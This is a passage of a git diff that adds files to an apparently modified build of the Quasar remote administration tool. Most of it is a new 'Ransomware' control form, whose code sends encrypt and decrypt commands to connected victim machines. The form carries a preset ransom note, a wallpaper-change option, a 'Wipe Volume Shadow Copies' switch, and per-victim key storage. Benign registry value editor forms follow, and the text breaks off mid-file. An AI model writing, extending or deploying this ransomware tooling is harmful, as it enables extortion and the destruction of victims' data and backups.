Extension:"; + // + // groupBox2 + // + this.groupBox2.Controls.Add(this.txtWallpaperText); + this.groupBox2.Controls.Add(this.chkWallpaper); + this.groupBox2.Controls.Add(this.txtRansomNote); + this.groupBox2.Controls.Add(this.label3); + this.groupBox2.Location = new System.Drawing.Point(15, 148); + this.groupBox2.Margin = new System.Windows.Forms.Padding(4); + this.groupBox2.Name = "groupBox2"; + this.groupBox2.Padding = new System.Windows.Forms.Padding(4); + this.groupBox2.Size = new System.Drawing.Size(950, 225); + this.groupBox2.TabIndex = 1; + this.groupBox2.TabStop = false; + this.groupBox2.Text = "Ransom Note & Wallpaper"; + // + // txtWallpaperText + // + this.txtWallpaperText.ForeColor = System.Drawing.Color.White; + this.txtWallpaperText.Location = new System.Drawing.Point(188, 191); + this.txtWallpaperText.Margin = new System.Windows.Forms.Padding(4); + this.txtWallpaperText.Name = "txtWallpaperText"; + this.txtWallpaperText.Size = new System.Drawing.Size(736, 26); + this.txtWallpaperText.TabIndex = 3; + this.txtWallpaperText.Text = "YOUR FILES HAVE BEEN ENCRYPTED!"; + // + // chkWallpaper + // + this.chkWallpaper.AutoSize = true; + this.chkWallpaper.Location = new System.Drawing.Point(19, 193); + this.chkWallpaper.Margin = new System.Windows.Forms.Padding(4); + this.chkWallpaper.Name = "chkWallpaper"; + this.chkWallpaper.Size = new System.Drawing.Size(142, 23); + this.chkWallpaper.TabIndex = 2; + this.chkWallpaper.Text = "Change Wallpaper"; + // + // txtRansomNote + // + this.txtRansomNote.Location = new System.Drawing.Point(19, 50); + this.txtRansomNote.Margin = new System.Windows.Forms.Padding(4); + this.txtRansomNote.Multiline = true; + this.txtRansomNote.Name = "txtRansomNote"; + this.txtRansomNote.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.txtRansomNote.Size = new System.Drawing.Size(905, 133); + this.txtRansomNote.TabIndex = 1; + this.txtRansomNote.Text = "Your files have been encrypted!\r\nContact us to get the decryption key."; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(19, 30); + this.label3.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(95, 19); + this.label3.TabIndex = 0; + this.label3.Text = "Ransom Note:"; + // + // chkWipeVSS + // + this.chkWipeVSS.AutoSize = true; + this.chkWipeVSS.Checked = true; + this.chkWipeVSS.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkWipeVSS.ForeColor = System.Drawing.Color.White; + this.chkWipeVSS.Location = new System.Drawing.Point(15, 380); + this.chkWipeVSS.Name = "chkWipeVSS"; + this.chkWipeVSS.Size = new System.Drawing.Size(180, 19); + this.chkWipeVSS.TabIndex = 14; + this.chkWipeVSS.Text = "Wipe Volume Shadow Copies"; + this.chkWipeVSS.UseVisualStyleBackColor = true; + // + // groupBox3 + // + this.groupBox3.Controls.Add(this.txtLog); + this.groupBox3.Location = new System.Drawing.Point(15, 380); + this.groupBox3.Margin = new System.Windows.Forms.Padding(4); + this.groupBox3.Name = "groupBox3"; + this.groupBox3.Padding = new System.Windows.Forms.Padding(4); + this.groupBox3.Size = new System.Drawing.Size(950, 250); + this.groupBox3.TabIndex = 2; + this.groupBox3.TabStop = false; + this.groupBox3.Text = "Log"; + // + // txtLog + // + this.txtLog.BackColor = System.Drawing.Color.Black; + this.txtLog.Font = new System.Drawing.Font("Consolas", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtLog.ForeColor = System.Drawing.Color.White; + this.txtLog.Location = new System.Drawing.Point(19, 31); + this.txtLog.Margin = new System.Windows.Forms.Padding(4); + this.txtLog.Name = "txtLog"; + this.txtLog.ReadOnly = true; + this.txtLog.Size = new System.Drawing.Size(905, 199); + this.txtLog.TabIndex = 0; + this.txtLog.Text = ""; + // + // btnEncrypt + // + this.btnEncrypt.Font = new System.Drawing.Font("Segoe UI", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.btnEncrypt.ForeColor = System.Drawing.Color.White; + this.btnEncrypt.Location = new System.Drawing.Point(15, 638); + this.btnEncrypt.Margin = new System.Windows.Forms.Padding(4); + this.btnEncrypt.Name = "btnEncrypt"; + this.btnEncrypt.Size = new System.Drawing.Size(462, 50); + this.btnEncrypt.TabIndex = 3; + this.btnEncrypt.Text = "ENCRYPT FILES"; + this.btnEncrypt.UseVisualStyleBackColor = true; + this.btnEncrypt.Click += new System.EventHandler(this.btnEncrypt_Click); + // + // btnDecrypt + // + this.btnDecrypt.Font = new System.Drawing.Font("Segoe UI", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.btnDecrypt.ForeColor = System.Drawing.Color.White; + this.btnDecrypt.Location = new System.Drawing.Point(502, 638); + this.btnDecrypt.Margin = new System.Windows.Forms.Padding(4); + this.btnDecrypt.Name = "btnDecrypt"; + this.btnDecrypt.Size = new System.Drawing.Size(462, 50); + this.btnDecrypt.TabIndex = 4; + this.btnDecrypt.Text = "DECRYPT FILES"; + this.btnDecrypt.UseVisualStyleBackColor = true; + this.btnDecrypt.Click += new System.EventHandler(this.btnDecrypt_Click); + // + // FrmRansomware + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(980, 702); + this.Controls.Add(this.btnDecrypt); + this.Controls.Add(this.btnEncrypt); + this.Controls.Add(this.groupBox3); + this.Controls.Add(this.groupBox2); + this.Controls.Add(this.groupBox1); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ForeColor = System.Drawing.Color.White; + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Margin = new System.Windows.Forms.Padding(4); + this.MaximizeBox = false; + this.Name = "FrmRansomware"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Ransomware"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRansomware_FormClosing); + this.Load += new System.EventHandler(this.FrmRansomware_Load); + this.groupBox1.ResumeLayout(false); + this.groupBox1.PerformLayout(); + this.groupBox2.ResumeLayout(false); + this.groupBox2.PerformLayout(); + this.groupBox3.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.GroupBox groupBox1; + private System.Windows.Forms.TextBox txtKey; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox txtExtension; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.GroupBox groupBox2; + private System.Windows.Forms.TextBox txtRansomNote; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.CheckBox chkWallpaper; + private System.Windows.Forms.CheckBox chkWipeVSS; + private System.Windows.Forms.TextBox txtWallpaperText; + private System.Windows.Forms.GroupBox groupBox3; + private System.Windows.Forms.RichTextBox txtLog; + private System.Windows.Forms.Button btnEncrypt; + private System.Windows.Forms.Button btnDecrypt; + private System.Windows.Forms.Button btnCopyKey; + private System.Windows.Forms.Button btnSaveKey; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.cs new file mode 100755 index 0000000..d85a964 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.cs @@ -0,0 +1,234 @@ +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmRansomware : Form + { + private readonly Client _client; + private string _encryptionKey; + + public FrmRansomware(Client client) + { + _client = client; + InitializeComponent(); + } + + private void FrmRansomware_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = $"Ransomware - {_client.EndPoint}"; + _encryptionKey = Guid.NewGuid().ToString("N"); + txtKey.Text = _encryptionKey; + + Messages.RansomwareHandler.RegisterForm(_client, this); + + AddLog("Ransomware ready. Encryption key generated.", Color.Green); + AddLog("Save the key to decrypt files later!", Color.Orange); + } + + private void btnEncrypt_Click(object sender, EventArgs e) + { + // Single confirmation + var result = MessageBox.Show( + "Start encryption?\n\n" + + "Extension: " + txtExtension.Text + "\n" + + "Key: " + txtKey.Text + "\n\n" + + "Save the key to decrypt later!", + "Confirm Encryption", + MessageBoxButtons.YesNo, + MessageBoxIcon.Warning); + + if (result != DialogResult.Yes) + return; + + // Proceed with encryption + btnEncrypt.Enabled = false; + btnDecrypt.Enabled = false; + + AddLog("Starting encryption process...", Color.Red); + AddLog($"Extension: {txtExtension.Text}", Color.White); + AddLog($"Key: {txtKey.Text}", Color.White); + + var ransomware = new DoRansomware + { + Action = "ENCRYPT", + EncryptionKey = txtKey.Text, + FileExtension = txtExtension.Text, + RansomNote = txtRansomNote.Text, + ChangeWallpaper = chkWallpaper.Checked, + WallpaperText = txtWallpaperText.Text + }; + + _client.Send(ransomware); + } + + private void btnDecrypt_Click(object sender, EventArgs e) + { + if (string.IsNullOrWhiteSpace(txtKey.Text)) + { + MessageBox.Show("Please enter the encryption key!", "Key Required", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + var result = MessageBox.Show( + "Start decryption process?\n\n" + + "Extension: " + txtExtension.Text + "\n" + + "Key: " + txtKey.Text + "\n\n" + + "The system will verify the key and skip files that can't be decrypted.\n" + + "Make sure the key is correct!", + "Confirm Decryption", + MessageBoxButtons.YesNo, + MessageBoxIcon.Question); + + if (result != DialogResult.Yes) + return; + + btnEncrypt.Enabled = false; + btnDecrypt.Enabled = false; + + AddLog("Starting decryption process...", Color.Green); + AddLog($"Extension: {txtExtension.Text}", Color.White); + AddLog($"Key: {txtKey.Text}", Color.White); + AddLog("Files with wrong key will be skipped.", Color.Yellow); + + var ransomware = new DoRansomware + { + Action = "DECRYPT", + EncryptionKey = txtKey.Text, + FileExtension = txtExtension.Text + }; + + _client.Send(ransomware); + } + + public void UpdateProgress(RansomwareResponse response) + { + if (InvokeRequired) + { + Invoke(new Action(() => UpdateProgress(response))); + return; + } + + Color color = response.Status == "ERROR" ? Color.Red : + response.Status == "COMPLETED" ? Color.Green : + Color.Yellow; + + AddLog($"[{response.Status}] {response.Message}", color); + + if (response.IsComplete) + { + btnEncrypt.Enabled = true; + btnDecrypt.Enabled = true; + } + } + + private void AddLog(string message, Color color) + { + if (InvokeRequired) + { + Invoke(new Action(() => AddLog(message, color))); + return; + } + + txtLog.SelectionStart = txtLog.TextLength; + txtLog.SelectionLength = 0; + txtLog.SelectionColor = color; + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] {message}\r\n"); + txtLog.SelectionColor = txtLog.ForeColor; + txtLog.ScrollToCaret(); + } + + private void btnCopyKey_Click(object sender, EventArgs e) + { + if (!string.IsNullOrWhiteSpace(txtKey.Text)) + { + Clipboard.SetText(txtKey.Text); + MessageBox.Show("Encryption key copied to clipboard!", "Copied", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } + + private void btnSaveKey_Click(object sender, EventArgs e) + { + if (string.IsNullOrWhiteSpace(txtKey.Text)) + { + MessageBox.Show("No key to save!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + try + { + // Get PC name and tag from client + string pcName = _client.Value.PcName ?? "Unknown"; + string tag = _client.Value.Tag?.ToString() ?? "NoTag"; + + // Sanitize for filename + foreach (char c in System.IO.Path.GetInvalidFileNameChars()) + { + pcName = pcName.Replace(c, '_'); + tag = tag.Replace(c, '_'); + } + + // Create specialized folder on desktop + string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + string folderPath = System.IO.Path.Combine(desktopPath, "Ransomware_Keys"); + + if (!System.IO.Directory.Exists(folderPath)) + { + System.IO.Directory.CreateDirectory(folderPath); + } + + string fileName = $"Key_{pcName}_{tag}_{DateTime.Now:yyyyMMdd_HHmmss}.txt"; + string filePath = System.IO.Path.Combine(folderPath, fileName); + + string content = $"Ransomware Encryption Key\r\n" + + $"==========================\r\n" + + $"PC Name: {pcName}\r\n" + + $"Tag: {tag}\r\n" + + $"Date: {DateTime.Now:yyyy-MM-dd HH:mm:ss}\r\n" + + $"Extension: {txtExtension.Text}\r\n" + + $"\r\n" + + $"Encryption Key:\r\n" + + $"{txtKey.Text}\r\n" + + $"\r\n" + + $"IMPORTANT: Keep this key safe! You need it to decrypt files.\r\n"; + + System.IO.File.WriteAllText(filePath, content); + + MessageBox.Show($"Key saved to:\n{filePath}", "Key Saved", MessageBoxButtons.OK, MessageBoxIcon.Information); + AddLog($"Key saved: {fileName}", Color.Green); + } + catch (Exception ex) + { + MessageBox.Show($"Failed to save key: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + private void FrmRansomware_FormClosing(object sender, FormClosingEventArgs e) + { + Messages.RansomwareHandler.UnregisterForm(_client); + + // Warn if closing during operation + if (!btnEncrypt.Enabled) + { + var result = MessageBox.Show( + "An operation is in progress. Are you sure you want to close?", + "Operation in Progress", + MessageBoxButtons.YesNo, + MessageBoxIcon.Warning); + + if (result != DialogResult.Yes) + e.Cancel = true; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.resx new file mode 100755 index 0000000..1af7de1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs new file mode 100755 index 0000000..ce14d43 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs @@ -0,0 +1,143 @@ +using Quasar.Server.Controls.HexEditor; + +namespace Quasar.Server.Forms +{ + partial class FrmRegValueEditBinary + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.valueNameTxtBox = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.cancelButton = new System.Windows.Forms.Button(); + this.okButton = new System.Windows.Forms.Button(); + this.hexEditor = new HexEditor(); + this.SuspendLayout(); + // + // valueNameTxtBox + // + this.valueNameTxtBox.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.valueNameTxtBox.Location = new System.Drawing.Point(12, 31); + this.valueNameTxtBox.Name = "valueNameTxtBox"; + this.valueNameTxtBox.ReadOnly = true; + this.valueNameTxtBox.Size = new System.Drawing.Size(341, 20); + this.valueNameTxtBox.TabIndex = 3; + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(9, 15); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(66, 13); + this.label1.Text = "Value name:"; + this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(9, 54); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(61, 13); + this.label2.Text = "Value data:"; + this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // cancelButton + // + this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.cancelButton.Location = new System.Drawing.Point(278, 273); + this.cancelButton.Name = "cancelButton"; + this.cancelButton.Size = new System.Drawing.Size(75, 23); + this.cancelButton.TabIndex = 2; + this.cancelButton.Text = "Cancel"; + this.cancelButton.UseVisualStyleBackColor = true; + // + // okButton + // + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(197, 273); + this.okButton.Name = "okButton"; + this.okButton.Size = new System.Drawing.Size(75, 23); + this.okButton.TabIndex = 1; + this.okButton.Text = "OK"; + this.okButton.UseVisualStyleBackColor = true; + this.okButton.Click += new System.EventHandler(this.okButton_Click); + // + // hexEditor + // + this.hexEditor.BackColor = System.Drawing.Color.White; + this.hexEditor.BorderColor = System.Drawing.Color.Empty; + this.hexEditor.Cursor = System.Windows.Forms.Cursors.IBeam; + this.hexEditor.EntityMargin = 8; + this.hexEditor.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.hexEditor.Location = new System.Drawing.Point(12, 71); + this.hexEditor.Margin = new System.Windows.Forms.Padding(0, 2, 3, 3); + this.hexEditor.Name = "hexEditor"; + this.hexEditor.Size = new System.Drawing.Size(341, 196); + this.hexEditor.TabIndex = 0; + this.hexEditor.VScrollBarVisisble = true; + // + // FrmRegValueEditBinary + // + this.AcceptButton = this.okButton; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.CancelButton = this.cancelButton; + this.ClientSize = new System.Drawing.Size(365, 304); + this.Controls.Add(this.cancelButton); + this.Controls.Add(this.hexEditor); + this.Controls.Add(this.okButton); + this.Controls.Add(this.label2); + this.Controls.Add(this.valueNameTxtBox); + this.Controls.Add(this.label1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmRegValueEditBinary"; + this.ShowIcon = false; + this.Text = "Edit Binary"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TextBox valueNameTxtBox; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Button cancelButton; + private System.Windows.Forms.Button okButton; + private Controls.HexEditor.HexEditor hexEditor; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.cs new file mode 100755 index 0000000..72af620 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.cs @@ -0,0 +1,50 @@ +using System; +using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Server.Registry; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegValueEditBinary : Form + { + private readonly RegValueData _value; + + private const string INVALID_BINARY_ERROR = "The binary value was invalid and could not be converted correctly."; + + public FrmRegValueEditBinary(RegValueData value) + { + _value = value; + + InitializeComponent(); + + this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); + hexEditor.HexTable = value.Data; + } + + private void okButton_Click(object sender, EventArgs e) + { + byte[] bytes = hexEditor.HexTable; + if (bytes != null) + { + try + { + _value.Data = bytes; + this.DialogResult = DialogResult.OK; + this.Tag = _value; + } + catch + { + ShowWarning(INVALID_BINARY_ERROR, "Warning"); + this.DialogResult = DialogResult.None; + } + } + + this.Close(); + } + + private void ShowWarning(string msg, string caption) + { + MessageBox.Show(msg, caption, MessageBoxButtons.OK, MessageBoxIcon.Warning); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.resx new file mode 100755 index 0000000..1af7de1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs new file mode 100755 index 0000000..0f38168 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs @@ -0,0 +1,140 @@ +namespace Quasar.Server.Forms +{ + partial class FrmRegValueEditMultiString + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.valueNameTxtBox = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.cancelButton = new System.Windows.Forms.Button(); + this.okButton = new System.Windows.Forms.Button(); + this.valueDataTxtBox = new System.Windows.Forms.TextBox(); + this.SuspendLayout(); + // + // valueNameTxtBox + // + this.valueNameTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.valueNameTxtBox.Location = new System.Drawing.Point(15, 25); + this.valueNameTxtBox.Name = "valueNameTxtBox"; + this.valueNameTxtBox.ReadOnly = true; + this.valueNameTxtBox.Size = new System.Drawing.Size(346, 20); + this.valueNameTxtBox.TabIndex = 3; + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(12, 9); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(66, 13); + this.label1.Text = "Value name:"; + this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(12, 53); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(61, 13); + this.label2.Text = "Value data:"; + this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // cancelButton + // + this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.cancelButton.Location = new System.Drawing.Point(286, 330); + this.cancelButton.Name = "cancelButton"; + this.cancelButton.Size = new System.Drawing.Size(75, 23); + this.cancelButton.TabIndex = 2; + this.cancelButton.Text = "Cancel"; + this.cancelButton.UseVisualStyleBackColor = true; + // + // okButton + // + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(205, 330); + this.okButton.Name = "okButton"; + this.okButton.Size = new System.Drawing.Size(75, 23); + this.okButton.TabIndex = 1; + this.okButton.Text = "OK"; + this.okButton.UseVisualStyleBackColor = true; + this.okButton.Click += new System.EventHandler(this.okButton_Click); + // + // valueDataTxtBox + // + this.valueDataTxtBox.AcceptsReturn = true; + this.valueDataTxtBox.Location = new System.Drawing.Point(15, 72); + this.valueDataTxtBox.Multiline = true; + this.valueDataTxtBox.Name = "valueDataTxtBox"; + this.valueDataTxtBox.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.valueDataTxtBox.Size = new System.Drawing.Size(346, 252); + this.valueDataTxtBox.TabIndex = 0; + this.valueDataTxtBox.WordWrap = false; + // + // FrmRegValueEditMultiString + // + this.AcceptButton = this.okButton; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.CancelButton = this.cancelButton; + this.ClientSize = new System.Drawing.Size(373, 365); + this.Controls.Add(this.cancelButton); + this.Controls.Add(this.valueDataTxtBox); + this.Controls.Add(this.okButton); + this.Controls.Add(this.label2); + this.Controls.Add(this.valueNameTxtBox); + this.Controls.Add(this.label1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmRegValueEditMultiString"; + this.ShowIcon = false; + this.Text = "Edit Multi-String"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TextBox valueNameTxtBox; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Button cancelButton; + private System.Windows.Forms.Button okButton; + private System.Windows.Forms.TextBox valueDataTxtBox; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.cs new file mode 100755 index 0000000..7d68517 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.cs @@ -0,0 +1,30 @@ +using System; +using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Common.Utilities; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegValueEditMultiString : Form + { + private readonly RegValueData _value; + + public FrmRegValueEditMultiString(RegValueData value) + { + _value = value; + + InitializeComponent(); + + this.valueNameTxtBox.Text = value.Name; + this.valueDataTxtBox.Text = string.Join("\r\n", ByteConverter.ToStringArray(value.Data)); + } + + private void okButton_Click(object sender, EventArgs e) + { + _value.Data = ByteConverter.GetBytes(valueDataTxtBox.Text.Split(new[] {"\r\n"}, StringSplitOptions.RemoveEmptyEntries)); + this.Tag = _value; + this.DialogResult = DialogResult.OK; + this.Close(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.resx new file mode 100755 index 0000000..1af7de1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs new file mode 100755 index 0000000..4fdef39 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs @@ -0,0 +1,143 @@ +namespace Quasar.Server.Forms +{ + partial class FrmRegValueEditString + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRegValueEditString)); + this.label1 = new System.Windows.Forms.Label(); + this.valueNameTxtBox = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.valueDataTxtBox = new System.Windows.Forms.TextBox(); + this.cancelButton = new System.Windows.Forms.Button(); + this.okButton = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // label1 + // + 